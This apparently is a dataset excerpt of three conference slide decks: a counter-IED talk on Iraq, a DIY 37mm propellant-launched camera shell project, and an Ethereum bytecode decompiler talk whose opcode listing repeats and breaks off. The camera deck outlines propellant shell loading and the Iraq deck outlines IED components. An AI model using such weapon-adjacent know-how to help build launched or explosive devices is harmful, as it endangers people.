text
stringlengths
100
9.93M
category
stringclasses
11 values
1 Hacking Iraq Hacking Iraq Michael Schearer ( Michael Schearer (““theprez98 theprez98””)) presents 2 Plan of Attack Plan of Attack Introduction Disclaimers My Background Why is the Navy in Iraq? Iraqi Communications Infrastructure IEDs Composition, Typology, Counter-IED Strategy The Future 3 Introduction Introduction Operational Security (OPSEC) Challenges and Limitations 4 Disclaimers Disclaimers This presentation is UNCLASSIFIED. On some issues I may be able to speak in generalities but not specifics. Nothing in this presentation is classified or “For Official Use Only,” nor does it contain information regarding incidents under ongoing investigation or any information protected by the Privacy Act. 5 Disclaimers Disclaimers This presentation complies with DOD Directives 5230.9, 5400.7, and 5500.7. All images, videos and/or media within this presentation were obtained from open sources using unclassified search terms. I am not here as a representative of the U.S. government or U.S. Navy. I am not here to be “for” or “against” the war. Please leave your politics at the door! 6 My Background My Background Active Duty, U.S. Navy Lieutenant (O-3) EA-6B Prowler Electronic Countermeasures Officer (Naval Flight Officer) Licensed Extra Class Amateur Radio Operator (N3WI) Church of WiFi Forums Administrator Remote-Exploit Forums Moderator “Regular” on DEFCON and NetStumbler forums 7 8 9 Why is the Navy in Iraq? Why is the Navy in Iraq? Threat from Improvised Explosive Devices 10 Improvised Explosive Devices Improvised Explosive Devices “The majority of insurgent attacks come in the form of IEDs targetting Iraqi and Coalition convoys and patrols. Most IEDs are made from leftover munitions and foreign explosive materials which are often hastily put together. Vehicle borne IEDs, VBIEDs, are devices that use a vehicle as the package or container of the device. These IEDs come in all shapes and sizes, from small sedans to large cargo trucks. There have even been instances of what appeared to be generators, donkey-drawn cards, and ambulances used to attempt attacks on Coalition forces and the new Iraqi government.”1 1http://www.mnf-iraq.com/index.php?option=com_content&task=view&id=727&Itemid=44 11 Why is the Navy in Iraq? Why is the Navy in Iraq? Threat from Improvised Explosive Devices Army asked for help + 12 2http://www.militaryhomefront.dod.mil/campvictory/ 13 Why is the Navy in Iraq? Why is the Navy in Iraq? Threat from Improvised Explosive Devices Army asked for help Indigenous Navy electronic warfare capability + + 14 15 Why is the Navy in Iraq? Why is the Navy in Iraq? Threat from Improvised Explosive Devices Army asked for help Indigenous Navy electronic warfare capability JCCS-1 + + = 16 The Electronic Warfare Mission The Electronic Warfare Mission “Suppress the RCIED threat to Coalition Forces and reduce casualties through enhanced electronic warfare coordination and JCREW operations, training and readiness.”3 3https://www.militaryhomefront.dod.mil/campvictory3/ 17 Iraqi Communications Iraqi Communications Infrastructure Infrastructure Landlines Cell networks Internet – History, dialup, satellite, wireless Satellite-based communications 18 Landline network Landline network Heavily damaged in Gulf War, Iraq War, and subsequent looting of stations ~833,000 lines in use (pop. ~26.7 mil) – Spotty service for those who do have dedicated lines Estimated $1 billion cost to rebuilt – Passed over in favor of cell networks 19 Telephone Mainlines per 100 people Telephone Mainlines per 100 people 0 0.5 1 1.5 2 2.5 3 3.5 4 1970 1980 1990 2000 2002 2005 Mainlines 20 Cell networks Cell networks Cell networks began installation 2003-04 Iraqi cell phone providers (GSM 900) – Iraqna, Asia Cell, Atheer, Korek, SanaTel – 2004: 1.4 million subscribers – 2006: 7.1+ million subscribers 21 IRAQNA COVERAGE MAP 22 ASIA CELL COVERAGE MAP 23 Internet Internet Pre-1999 ~10,000 users (mostly dialup) Ba’athists, Loyalists, Wealthy 1999-2003 <25,000 users ~75 Internet cafes Censored satellite connection 2003-Present 120,000 users and growing; Est. 500% increase in users over 5 years Iraqi ISPs: Uruklink + others Middle East/European VSAT 0 20,000 40,000 60,000 80,000 100,000 120,000 Users 1999 2000 2001 2002 2004 Year Internet Users in Iraq Users 24 Internet Internet .IQ domain originally owned by InfoCom Finally assigned to Iraq ~2005 Many government sites still using .org, .net 25 Satellite Satellite--based communications based communications A sample of other available satellite-based communications services: Intelsat Intersputnik Thuraya (UAE) Iridium 26 Improvised Explosive Devices Improvised Explosive Devices What makes up an IED? Initiator Detonator Explosive charge 27 Initiators Initiators Command-wire (CWIED) Victim-operated (VOIED) Vehicle-borne (VBIED) Radio-controlled (RCIED) 4MNC-I Public Affairs Office; reprinted at http://www.arcent.army.mil/news/archive/2005_news/march/new_organization.asp; also http://www.defenselink.mil/news/BriefingSlide.aspx?BriefingSlideID=14 28 RC Initiators RC Initiators 29 Improvised Explosive Devices Improvised Explosive Devices What makes up an IED? Initiator Detonator Explosive charge 30 Detonators Detonators 31 Improvised Explosive Devices Improvised Explosive Devices What makes up an IED? Initiator Detonator Explosive charge 32 Explosive charges Explosive charges 33 Attacking the IED Problem Attacking the IED Problem Eliminate source materials Eliminate the IED network Eliminate bomb emplacers Prevent detonation Protect against explosion 34 Eliminating Source Materials: Eliminating Source Materials: Initiators Initiators Initiators have become dual-use technologies – Designed for non-military purposes – Exploited as initiation devices for IEDs Plentiful supply Virtually impossible to track Required for basic governmental functions 35 Eliminating Source Materials: Eliminating Source Materials: Initiators Initiators Iraqi landline network virtually non-existent Extremely costly to rebuild ($1+ billion) Cell networks began installation 2003-04 Iraqi cell phone providers (GSM 900) – Iraqna, Asia Cell, Atheer, Korek, SanaTel – 2004: 1.4 million subscribers – 2006: 7.1+ million subscribers 36 IRAQNA COVERAGE MAP 37 ASIA CELL COVERAGE MAP 38 Eliminating Source Materials: Eliminating Source Materials: Detonators Detonators Detonators are also dual-use technologies – Legitimate uses particularly in construction (especially given the massive rebuilding effort) – Exploited as initiation devices for IEDs Plentiful supply Virtually impossible to track 39 Eliminating Source Materials: Eliminating Source Materials: Explosive charges Explosive charges Huge caches of unused ordnance left over from the Iran-Iraq War (1980-88) and Gulf War (1991) – Artillery shells, mortar shells, unexploded ordnance Focus on WMD and major conventional weapons systems Plentiful supply Virtually impossible to track 40 Attacking the IED Problem Attacking the IED Problem Eliminate source materials Eliminate the IED network Eliminate bomb emplacers Prevent detonation Protect against explosion 41 Eliminating the IED Network Eliminating the IED Network Locate and eliminate the financiers and support structure behind IED-making cells5 JIEDDO Budget for “offensive operations” grown from 13% in FY06 to 31% in FY076 5http://www.defenselink.mil/transcripts/transcript.aspx?transcriptid=3901 6http://www.defenselink.mil/news/newsarticle.aspx?id=3275 0 2000 4000 6000 8000 10000 12000 Sep Oct Jan Tips 42 Eliminating the IED Network: Eliminating the IED Network: CEXC CEXC Combined Coalition Explosives IEDs Exploitation Forensic investigation and hardware hacking Cell Group 43 Eliminating the IED Network: Eliminating the IED Network: CEXC CEXC “CEXC provides technical and operational analysis of the improvised bombs the insurgents have used against coalition forces, and develops measures to counter the bombing campaign.”7 7http://www.washtimes.com/national/20050316-110733-3348r.htm 44 Eliminating the IED Network: Eliminating the IED Network: TEDAC TEDAC The U.S. Government explosives community, including the FBI, the Department of Defense, and the Bureau of Alcohol, Tobacco, and Firearms, collectively formed the Terrorist Explosive Device Analytical Center (“TEDAC”). Located at the FBI Laboratory in Quantico, Virginia, the TEDAC acts as a single inter­agency focal point to coordinate and manage the unified effort of law enforcement, intelligence and military assets as it relates to terrorist IEDs, and to technically and forensically exploit all IEDs …8 8http://www.usdoj.gov/opa/motion_dna.pdf; see also http://www.fbi.gov/page2/aug04/jordan081104.htm 45 Attacking the IED Problem Attacking the IED Problem Eliminate source materials Eliminate the IED network Eliminate bomb emplacers Prevent detonation Protect against explosion 46 Eliminate Bomb Eliminate Bomb Emplacers Emplacers Emplaces IED at target location May or may not be part of the IED network May or may not arm/initiate the device May be involved in video-taping the incident Eliminating bomb emplacers: – Tips – Community pressure – $$$ 47 Attacking the IED Problem Attacking the IED Problem Eliminate source materials Eliminate the IED network Eliminate bomb emplacers Prevent detonation Protect against explosion 48 Prevent Detonation Prevent Detonation My primary job in Iraq “Suppress the RCIED threat to Coalition Forces and reduce casualties through enhanced electronic warfare coordination and JCREW operations, training and readiness.”9 Jammers – Airborne, Vehicle-mounted, Dismounted – Different models/manufacturers – Different capabilities – That’s all I have to say about that… 9https://www.militaryhomefront.dod.mil/campvictory3/ 49 Attacking the IED Problem Attacking the IED Problem Eliminate source materials Eliminate the IED network Eliminate bomb emplacers Prevent detonation Protect against explosion 50 Protect Against Explosion Protect Against Explosion Armor protection: It’s not really just about “more” – HHS/brittle/spalling – RHA/spall protection 51 Protect Against Explosion Protect Against Explosion More armor means more weight – Decreases maneuverability/speed – Increases rollover potential (higher COG) – Increases maintenance on engines and transmissions Underbody vs. sides V-shaped hulls 52 The Future The Future Detection of IEDs using unintentional radiated emissions10 Explosive resistant coating to add protection without adding significant weight11 “Local Eyes” sensor network12 10http://web.umr.edu/~daryl/IEDs/ 11http://www.ara.com/whatnew/lead/dragonshield/explosive%20resistant%20coating.htm 12http://www.nationaldefensemagazine.org/issues/2006/December/ResearchersTout.htm 53 The Future The Future Hyperspectral sensors13 Answers to the Explosively Formed Penetrator (EFP) 13http://www.nationaldefensemagazine.org/issues/2006/December/ResearchersTout.htm 55 Acknowledgements Acknowledgements DEFCON Staff The Church of Wifi My Family See Also See Also Wireless Village @ Skybox 209 Wireless Contests 56 Questions? Questions? 57 A Hacker in Iraq A Hacker in Iraq Michael Schearer ( Michael Schearer (““theprez98 theprez98””)) presents
pdf
Smile for the Grenade! “Camera go BANG!” Vlad Gostomelsky Joshua A. Marpet Who are we? • Vlad Gostom @recompiler - Years of model rocketry and high power model rocketry • DARPA researcher – including future warrior combat system • Penetration Testing – Web Apps, networks, physical security (including banks) • Air Force Auxiliary – Ground Search and Rescue • CERT Team • Joshua Marpet @quadling • Joshua Marpet speaks all over, from Black Hat to Pumpcon. • His presentations range from Video Security to the progress of the Information Security Industry, and everywhere in between. • He's held every one of his childhood fantasy jobs except for astronaut, and currently teaches Infosec at Wilmington University, an NSA/DHS Center of Academic Excellence. • Josh gets the job done. 1950’s Camera Timeline 1960’s 1970’s 1980’s 1990’s 2000’s History Remote Video Surveillance UAV Surveillance UMV – Unmanned Marine Vehicle Inspection Cameras Fiber Optic Cameras Throwable Robots iRobot is Hackable! • Easily reprogrammable • Encouraged by manufacturer • Expansion modules sold by manufacturer and other distributors • Can be controlled by Wii controllers • iRobot frogger Camera Balls Ballistic Cameras Rafael Land systems _ Firefly Camera • http://www.ratchetup.com/eyes/2008/10/ballistic-camer.html • http://www.ohgizmo.com/2005/08/02/the-firefly-disposable-ballistic- camera/ • 8 seconds of video • 600 meter range • Fin-Stabilized Spring out Wings for Range extension • From 40mm Grenade Launcher, which must be a Registered DD (Destructive Device) Approx $2k • Military Usage • Not available to most civilians • Deployment time is good, a few seconds • Uses standard equipment carried by military units. (40mm Grenade Launcher) • Ballistic Decommission – End of flight = Shatter! Ballistic Camera DIY • Easy access for Civilians • Price tag • DIY/MAKE spirit • Search and Rescue • Killer Airsoft • Just Because! Safety DIY Destructive Devices can go wrong. VERY WRONG! If you ever hear someone with a grenade launcher go, “Hey, y’all, someone hold my beer! Now watch this!!” RUN! Safety 2 • WARNING! DO NOT DO THIS AT HOME! DO NOT MAKE THESE SHELLS OR BUILD THIS SYSTEM • Do NOT disassemble 37mm or 40mm shells! • We are experts. No, really. • Please do not do this. • If you want, call/email us. We will happily discuss it with you, including the possible dangers. Safety 3 Hand Orientation Right hand on pistol grip Left hand BEHIND the shell Not on ‘hand guard’ Fragmentation Vest Flash Suit Gloves Helmet Eye Protection Ear Protection No Such thing as overkill when its your fingers and eyeballs Legality • 37mm vs. 40mm •Non-DD vs Destructive Device • NFA 1934 • ¼ Ounce of Explosive/Propellant/Lift Charge • PC 120301(a)(4) – “Penal Code” ($200,000 fine + Jail time) Capability 37mm non-DD •1/2lb projectile 400 meters range •1/4lb 400 feet vertically •25000 PSI in high pressure chamber Why our system is not DD •Total weight of lift charge/payload •Intent – Signal, Search and Rescue •Non-antipersonnel •37mm •Never ever aim at individuals. System Configuration Launcher Variants Low Pressure Device (only 25000 PSI) 26.5mm 37mm 40mm Modular Blank Round Standalone Under-barrel 6 shot/8 shot Automatic Corner Shot Design Trial and Error Individual Component testing Camera Command Center Recorder Field Recorder Power Source Payload Capsule/Recovery System Launcher shell Metal Film Canister Nalgene micro bottle Plastic Film Canister System Capabilities •600 meter vertical shot •Fire over 5 story building for urban S&R •400 meter horizontal range •22 seconds of video from 140 meters altitude •30min of on-station time if tangled in trees via chute or tangle lines •Punch through ¼ plywood – remain on-station •Punch through plate glass – remain on-station Challenges - Electronics • Documentation in Engrish • Range issues • Repeatability • DOA Equipment • Locating proper cameras Challenges – Shell Design and Propulsion • Safety!! • Legality (rectal opening safety) • Camera-system arming • Temperature during ignition • G forces during the boost phase • Space • Camera orientation • Timing Camera-System Arming • Spin-Arm • Ripcord • Magnetic reed switch • Pushbutton Challenges Launch, Stabilization, Recovery • Stabilizing fin deployment • Camera orientation • Powder burns • Parachute deployment • ‘helicopter’ recovery • Tangle lines Failure is always an option. • Chute/Streamer deployment • Camera stabilization • Failure to fire • Delayed ignition • Explosion • Electronics failure • Trees and buildings jump in the way Shell Diagram Shell Loading – Safety and “Issues” • Safety! Do you want to see the hand again? • Weight • Fine Particles • Crushed primers • Packing propellant Shell Loading – Procedures and demo • Primer • Propellant in high-pressure chamber • Blast-disk • Cardboard lug • Fireproof wadding • Camera/Parachute package • Insert battery pin • Cover cap Electronics “Issues” • Wiring • Battery pack issues – 6 volts? – Lithium vs. Alkaline? – Button Cells? • Eyesight Testing Issues • Safety! Talk to the HAND!!!!!! • Location – Just where do you test a grenade launcher? Hmmm? • Data logging System System Diagram Eye in the Sky features • 37mm Launcher - Available to Civilians! • 5.8 Ghz Cameras • Hand Loaded Shells • Parachute for hang time • 100-400 Meter range • Designed for Urban Search and Rescue teams, Disaster Assessment Teams, SWAT teams or Airsoft Lunatics • Short Range DVR for viewing by Stacked Tactical Team • Longer Range Receiver for use at command center. • 8 channels for multiple camera usage. • 5 Volt Power supply replaced by Lithium Cells. • Deployment time is good, mere seconds. • Equipment is readily available for civilians and law enforcement, and is already carried by many law enforcement units for CS gas deployment. Prices • Firefly 2k per shot • DD Launcher (+$200) • DD Shells (+$200 per) • Good luck getting non- military sale. • Launcher - $1500 minimum • Eye in the Sky DIY • $200 per shell • Non-DD (No $200 tax) • Non-DD Launcher (Save another $200) • Thriving DIY community • Launcher - $400-$700 Videos • To Be Added for Preso Check the fingers Want to keep all of yours? Ask some questions now! Avoid the hospital later! <Applause!!!>
pdf
Porosity Decompiling Ethereum Smart-Contracts Matt Suiche (@msuiche) Founder, Comae Technologies [email protected] Whoami @msuiche Comae Technologies OPCDE - www.opcde.com First time in Vegas since BlackHat 2011 Mainly Windows-related stuff CloudVolumes (VMware App Volumes) Memory Forensics for DFIR (Hibr2Bin, DumpIt etc.) “looks like such fun guy” – TheShadowBrokers Didn’t know much about blockchain before this project Just so you know… We won’t talk about POW/POS stuff We won’t talk about Merkle Trees We won’t talk about how to becoming a crypto-currency millionaire We will talk about the Ethereum EVM We will talk about Solidity We will talk about smart-contract bytecodes And yes, the tool isn’t perfect ☺ Agenda Ethereum Virtual Machine (EVM) Memory Management Addresses Call Types Type Discovery Smart-Contract Code Analysis Known Bugs Future Solidity Solidity the quality or state of being firm or strong in structure. But also the name of Ethereum’s smart-contracts compiler Porosity is the quality of being porous, or full of tiny holes. Liquids go right through things that have porosity. But also the name of Comae’s smart-contract decompiler. Ethereum Virtual Machine (EVM) Account/Contract/Blockchain A Smart-Contract is made of bytecode stored in the blockchain. An address is a 160-bits value & corresponds to an “account” Operates 256-bits pseudo-registers EVM does not really have registers, but uses a virtual stack to replace them. Solidity & “Smart Contracts” Solidity compiles JavaScript-like code into Ethereum bytecode. contract Coin { // The keyword "public" makes those variables // readable from outside. address public minter; mapping (address => uint) public balances; // Events allow light clients to react on // changes efficiently. event Sent(address from, address to, uint amount); // This is the constructor whose code is // run only when the contract is created. function Coin() { minter = msg.sender; } function mint(address receiver, uint amount) { if (msg.sender != minter) return; balances[receiver] += amount; } function send(address receiver, uint amount) { if (balances[msg.sender] < amount) return; balances[msg.sender] -= amount; balances[receiver] += amount; Sent(msg.sender, receiver, amount); } } Memory Management Stack Virtual stack is being used for operations to pass parameters to opcodes. 256-bit values/entries Maximum size of 1024 elements Storage (Persistent) Key-value storage mapping (256-to-256-bit integers) Can’t be enumerated. SSTORE/SLOAD Memory (Volatile) 256-bit values (lots of AND operations, useful for type discovery) MSTORE/MLOAD Basic Blocks Usually start with the JUMPDEST instruction – except few cases. JUMP* instruction jump to the address contained in the 1st element of the stack. JUMP* instruction are (almost always) preceded by PUSH instruction This allows to push the destination address in the stack, instead of hardcoding the destination offset. SWAP/DUP/POP stack manipulation instructions can make jump destination address harder to retrieve This requires dynamic analysis to rebuild the relationship between each basic block. EVM functions/instructions EVM instructions are more like functions, such as: Arithmetic, Comparison & Bitwise Logic Operations SHA3 Environmental & Block Information Stack, Memory, Storage and Flow Operations Logging & System Operations Instruction call - Addition The above translates at the EVM-pseudo code: add(0x2, 0x1) Offset Instruction Stack[0] Stack[2] n PUSH1 0x1 0x1 n + 1 PUSH1 0x2 0x2 0x1 n + 2 ADD 0x3 EVM Call Can be identified by the CALL instruction. Call external accounts/contracts pointed by the second parameter The second parameter contains the actual 160 address of the external contract With the exception of 4 hardcoded contracts: 1 – elliptic curve public key recovery function 2- SHA2 function 3- RIPEMD160 function 4- Identity function call( gasLimit, to, value, inputOffset, inputSize, outputOffset, outputSize ) User-Defined functions (Solidity) CALLDATALOAD instruction is used to read the Environmental Information Block (EIB) such as parameters. First 4 bytes of the EIB contains the 32-bits hash of the called function. Followed by the parameters based on their respective types. e.g. int would be a 256 bits word. a = calldataload(0x4) b = calldataload(0x24) add(calldataload(0x4), calldataload(0x24) function foo(int a, int b) { return a + b; } Type Discovery - Addresses As an example, addresses are 160-bit words Since stack registers are 256-bit words, they can easily be identified through AND operations using the 0xffffffffffffffffffffffffffffffffffffffff mask. Mask can be static or computed dynamically Ethereum Assembly Translation (msg.sender) CALLER PUSH1 0x01 PUSH 0xA0 PUSH1 0x02 EXP SUB AND and(reg256, sub(exp(2, 0xa0), 1)) (EVM) reg256 & (2 ** 0xA0) - 1) (Intermediate) address (Solidity) Bytecode The bytecode is divided in two categories: Pre-loader code Found at the beginning that contains the routine to bootstrap the contract Runtime code of the contract The core code written by the user that got compiled by Solidity Each contract contain a dispatch function that redirects the call to the corresponding function based on the provided hash function. Bytecode – Pre-loader CODECOPY copies the runtime part of the contract into the EVM memory – which gets executed at base address 0x0 00000000 6060 00000002 6040 00000004 52 00000005 6000 00000007 6001 00000009 6000 0000000b 610001 0000000e 0a 0000000f 81 00000010 54 00000011 81 00000012 60ff 00000014 02 00000015 19 00000016 16 00000017 90 00000018 83 00000019 02 0000001a 17 0000001b 90 0000001c 55 0000001d 50 0000001e 61bb01 00000021 80 00000022 612b00 00000025 6000 00000027 39 00000028 6000 0000002a f3 PUSH1 60 PUSH1 40 MSTORE PUSH1 00 PUSH1 01 PUSH1 00 PUSH2 0001 EXP DUP2 SLOAD DUP2 PUSH1 ff MUL NOT AND SWAP1 DUP4 MUL OR SWAP1 SSTORE POP PUSH2 bb01 DUP1 PUSH2 2b00 PUSH1 00 CODECOPY PUSH1 00 RETURN Bytecode – Dispatcher (--list) loc_00000000: 0x00000000 60 60 PUSH1 60 0x00000002 60 40 PUSH1 40 0x00000004 52 MSTORE 0x00000005 60 e0 PUSH1 e0 0x00000007 60 02 PUSH1 02 0x00000009 0a EXP 0x0000000a 60 00 PUSH1 00 0x0000000c 35 CALLDATALOAD 0x0000000d 04 DIV 0x0000000e 63 06 72 e9 ee PUSH4 06 72 e9 ee 0x00000013 81 DUP2 0x00000014 14 EQ 0x00000015 60 24 PUSH1 24 0x00000017 57 JUMPI loc_00000018: 0x00000018 80 DUP1 0x00000019 63 9d 04 0a f4 PUSH4 9d 04 0a f4 0x0000001e 14 EQ 0x0000001f 60 35 PUSH1 35 0x00000021 57 JUMPI loc_00000022: 0x00000022 5b JUMPDEST 0x00000023 00 STOP double(uint256): 0x00000024 5b JUMPDEST 0x00000025 60 45 PUSH1 45 0x00000027 60 04 PUSH1 04 0x00000029 35 CALLDATALOAD 0x0000002a 60 00 PUSH1 00 0x0000002c 60 4f PUSH1 4f 0x0000002e 82 DUP3 0x0000002f 60 02 PUSH1 02 loc_00000031: 0x00000031 5b JUMPDEST 0x00000032 02 MUL 0x00000033 90 SWAP1 0x00000034 56 JUMP triple(uint256): 0x00000035 5b JUMPDEST 0x00000036 60 45 PUSH1 45 0x00000038 60 04 PUSH1 04 0x0000003a 35 CALLDATALOAD 0x0000003b 60 00 PUSH1 00 0x0000003d 60 4f PUSH1 4f 0x0000003f 82 DUP3 0x00000040 60 03 PUSH1 03 0x00000042 60 31 PUSH1 31 0x00000044 56 JUMP calldataload(0x0) / exp(0x2, 0xe0) Function Hashes The 4 bytes of the sha3 (keccak256) value for the string functionName(param1Type, param2Type, etc) [ { "constant":false, "inputs":[{ "name":"a", "type":"uint256" }], "name":"double", "outputs":[{ "name":"", "type":"uint256" }], "type":"function" } ] keccak256("double(uint256)") => eee972066698d890c32fec0edb38a360c32b71d0a29ffc75b6ab6d2774ec9901 double(uint256) -> 0xeee97206 triple(uint256) -> 0xf40a049d Extracting function hash calldataload(0x0) / exp(0x2, 0xe0) (0x12345678xxxx / 0x00000001xxxx) = 0x12345678 jumpi(eq(calldataload(0x0) / exp(0x2, 0xe0), 0xeee97206)) PS C:\Program Files\Geth> .\evm.exe \ --code 60e060020a60003504 \ --debug \ --input 12345678aaaaaaaabbbbbbbbccccccccdddddddd PC 00000009: STOP GAS: 9999999923 COST: 0 STACK = 1 0000: 0000000000000000000000000000000000000000000000000000000012345678 MEM = 0 STORAGE = 0 Ethereum Emulator Static CFG (--cfg) Emulated CFG (--cfg-full) Control Flow Graph Dispatcher – pseudo code hash = calldataload(0x0) / exp(0x2, 0xe0); switch (hash) { case 0xeee97206: // double(uint256) memory[0x60] = calldataload(0x4) * 2; return memory[0x60]; break; case 0xf40a049d: // triple(uint256) memory[0x60] = calldataload(0x4) * 3; return memory[0x60]; break; default: // STOP break; } contract C { function double(int arg_4) { return arg_4 * 2; } function triple(int arg_4) { return arg_4 * 3; } } Pseudo-Code Translated Code Bytecode – Dispatcher (--list) loc_00000000: 0x00000000 60 60 PUSH1 60 0x00000002 60 40 PUSH1 40 0x00000004 52 MSTORE 0x00000005 60 e0 PUSH1 e0 0x00000007 60 02 PUSH1 02 0x00000009 0a EXP 0x0000000a 60 00 PUSH1 00 0x0000000c 35 CALLDATALOAD 0x0000000d 04 DIV 0x0000000e 63 06 72 e9 ee PUSH4 06 72 e9 ee 0x00000013 81 DUP2 0x00000014 14 EQ 0x00000015 60 24 PUSH1 24 0x00000017 57 JUMPI loc_00000018: 0x00000018 80 DUP1 0x00000019 63 9d 04 0a f4 PUSH4 9d 04 0a f4 0x0000001e 14 EQ 0x0000001f 60 35 PUSH1 35 0x00000021 57 JUMPI loc_00000022: 0x00000022 5b JUMPDEST 0x00000023 00 STOP double(uint256): 0x00000024 5b JUMPDEST 0x00000025 60 45 PUSH1 45 0x00000027 60 04 PUSH1 04 0x00000029 35 CALLDATALOAD 0x0000002a 60 00 PUSH1 00 0x0000002c 60 4f PUSH1 4f 0x0000002e 82 DUP3 0x0000002f 60 02 PUSH1 02 loc_00000031: 0x00000031 5b JUMPDEST 0x00000032 02 MUL 0x00000033 90 SWAP1 0x00000034 56 JUMP triple(uint256): 0x00000035 5b JUMPDEST 0x00000036 60 45 PUSH1 45 0x00000038 60 04 PUSH1 04 0x0000003a 35 CALLDATALOAD 0x0000003b 60 00 PUSH1 00 0x0000003d 60 4f PUSH1 4f 0x0000003f 82 DUP3 0x00000040 60 03 PUSH1 03 0x00000042 60 31 PUSH1 31 0x00000044 56 JUMP Bytecode – Dispatcher (--list) loc_00000000: 0x00000000 60 60 PUSH1 60 0x00000002 60 40 PUSH1 40 0x00000004 52 MSTORE 0x00000005 60 e0 PUSH1 e0 0x00000007 60 02 PUSH1 02 0x00000009 0a EXP 0x0000000a 60 00 PUSH1 00 0x0000000c 35 CALLDATALOAD 0x0000000d 04 DIV 0x0000000e 63 06 72 e9 ee PUSH4 06 72 e9 ee 0x00000013 81 DUP2 0x00000014 14 EQ 0x00000015 60 24 PUSH1 24 0x00000017 57 JUMPI loc_00000018: 0x00000018 80 DUP1 0x00000019 63 9d 04 0a f4 PUSH4 9d 04 0a f4 0x0000001e 14 EQ 0x0000001f 60 35 PUSH1 35 0x00000021 57 JUMPI loc_00000022: 0x00000022 5b JUMPDEST 0x00000023 00 STOP double(uint256): 0x00000024 5b JUMPDEST 0x00000025 60 45 PUSH1 45 0x00000027 60 04 PUSH1 04 0x00000029 35 CALLDATALOAD 0x0000002a 60 00 PUSH1 00 0x0000002c 60 4f PUSH1 4f 0x0000002e 82 DUP3 0x0000002f 60 02 PUSH1 02 loc_00000031: 0x00000031 5b JUMPDEST 0x00000032 02 MUL 0x00000033 90 SWAP1 0x00000034 56 JUMP triple(uint256): 0x00000035 5b JUMPDEST 0x00000036 60 45 PUSH1 45 0x00000038 60 04 PUSH1 04 0x0000003a 35 CALLDATALOAD 0x0000003b 60 00 PUSH1 00 0x0000003d 60 4f PUSH1 4f 0x0000003f 82 DUP3 0x00000040 60 03 PUSH1 03 0x00000042 60 31 PUSH1 31 0x00000044 56 JUMP Bytecode – Dispatcher (--list) loc_00000000: 0x00000000 60 60 PUSH1 60 0x00000002 60 40 PUSH1 40 0x00000004 52 MSTORE 0x00000005 60 e0 PUSH1 e0 0x00000007 60 02 PUSH1 02 0x00000009 0a EXP 0x0000000a 60 00 PUSH1 00 0x0000000c 35 CALLDATALOAD 0x0000000d 04 DIV 0x0000000e 63 06 72 e9 ee PUSH4 06 72 e9 ee 0x00000013 81 DUP2 0x00000014 14 EQ 0x00000015 60 24 PUSH1 24 0x00000017 57 JUMPI loc_00000018: 0x00000018 80 DUP1 0x00000019 63 9d 04 0a f4 PUSH4 9d 04 0a f4 0x0000001e 14 EQ 0x0000001f 60 35 PUSH1 35 0x00000021 57 JUMPI loc_00000022: 0x00000022 5b JUMPDEST 0x00000023 00 STOP double(uint256): 0x00000024 5b JUMPDEST 0x00000025 60 45 PUSH1 45 0x00000027 60 04 PUSH1 04 0x00000029 35 CALLDATALOAD 0x0000002a 60 00 PUSH1 00 0x0000002c 60 4f PUSH1 4f 0x0000002e 82 DUP3 0x0000002f 60 02 PUSH1 02 loc_00000031: 0x00000031 5b JUMPDEST 0x00000032 02 MUL 0x00000033 90 SWAP1 0x00000034 56 JUMP triple(uint256): 0x00000035 5b JUMPDEST 0x00000036 60 45 PUSH1 45 0x00000038 60 04 PUSH1 04 0x0000003a 35 CALLDATALOAD 0x0000003b 60 00 PUSH1 00 0x0000003d 60 4f PUSH1 4f 0x0000003f 82 DUP3 0x00000040 60 03 PUSH1 03 0x00000042 60 31 PUSH1 31 0x00000044 56 JUMP Bytecode – Dispatcher (--list) loc_00000000: 0x00000000 60 60 PUSH1 60 0x00000002 60 40 PUSH1 40 0x00000004 52 MSTORE 0x00000005 60 e0 PUSH1 e0 0x00000007 60 02 PUSH1 02 0x00000009 0a EXP 0x0000000a 60 00 PUSH1 00 0x0000000c 35 CALLDATALOAD 0x0000000d 04 DIV 0x0000000e 63 06 72 e9 ee PUSH4 06 72 e9 ee 0x00000013 81 DUP2 0x00000014 14 EQ 0x00000015 60 24 PUSH1 24 0x00000017 57 JUMPI loc_00000018: 0x00000018 80 DUP1 0x00000019 63 9d 04 0a f4 PUSH4 9d 04 0a f4 0x0000001e 14 EQ 0x0000001f 60 35 PUSH1 35 0x00000021 57 JUMPI loc_00000022: 0x00000022 5b JUMPDEST 0x00000023 00 STOP double(uint256): 0x00000024 5b JUMPDEST 0x00000025 60 45 PUSH1 45 0x00000027 60 04 PUSH1 04 0x00000029 35 CALLDATALOAD 0x0000002a 60 00 PUSH1 00 0x0000002c 60 4f PUSH1 4f 0x0000002e 82 DUP3 0x0000002f 60 02 PUSH1 02 loc_00000031: 0x00000031 5b JUMPDEST 0x00000032 02 MUL 0x00000033 90 SWAP1 0x00000034 56 JUMP triple(uint256): 0x00000035 5b JUMPDEST 0x00000036 60 45 PUSH1 45 0x00000038 60 04 PUSH1 04 0x0000003a 35 CALLDATALOAD 0x0000003b 60 00 PUSH1 00 0x0000003d 60 4f PUSH1 4f 0x0000003f 82 DUP3 0x00000040 60 03 PUSH1 03 0x00000042 60 31 PUSH1 31 0x00000044 56 JUMP Bytecode – Dispatcher (--list) loc_00000000: 0x00000000 60 60 PUSH1 60 0x00000002 60 40 PUSH1 40 0x00000004 52 MSTORE 0x00000005 60 e0 PUSH1 e0 0x00000007 60 02 PUSH1 02 0x00000009 0a EXP 0x0000000a 60 00 PUSH1 00 0x0000000c 35 CALLDATALOAD 0x0000000d 04 DIV 0x0000000e 63 06 72 e9 ee PUSH4 06 72 e9 ee 0x00000013 81 DUP2 0x00000014 14 EQ 0x00000015 60 24 PUSH1 24 0x00000017 57 JUMPI loc_00000018: 0x00000018 80 DUP1 0x00000019 63 9d 04 0a f4 PUSH4 9d 04 0a f4 0x0000001e 14 EQ 0x0000001f 60 35 PUSH1 35 0x00000021 57 JUMPI loc_00000022: 0x00000022 5b JUMPDEST 0x00000023 00 STOP double(uint256): 0x00000024 5b JUMPDEST 0x00000025 60 45 PUSH1 45 0x00000027 60 04 PUSH1 04 0x00000029 35 CALLDATALOAD 0x0000002a 60 00 PUSH1 00 0x0000002c 60 4f PUSH1 4f 0x0000002e 82 DUP3 0x0000002f 60 02 PUSH1 02 loc_00000031: 0x00000031 5b JUMPDEST 0x00000032 02 MUL 0x00000033 90 SWAP1 0x00000034 56 JUMP triple(uint256): 0x00000035 5b JUMPDEST 0x00000036 60 45 PUSH1 45 0x00000038 60 04 PUSH1 04 0x0000003a 35 CALLDATALOAD 0x0000003b 60 00 PUSH1 00 0x0000003d 60 4f PUSH1 4f 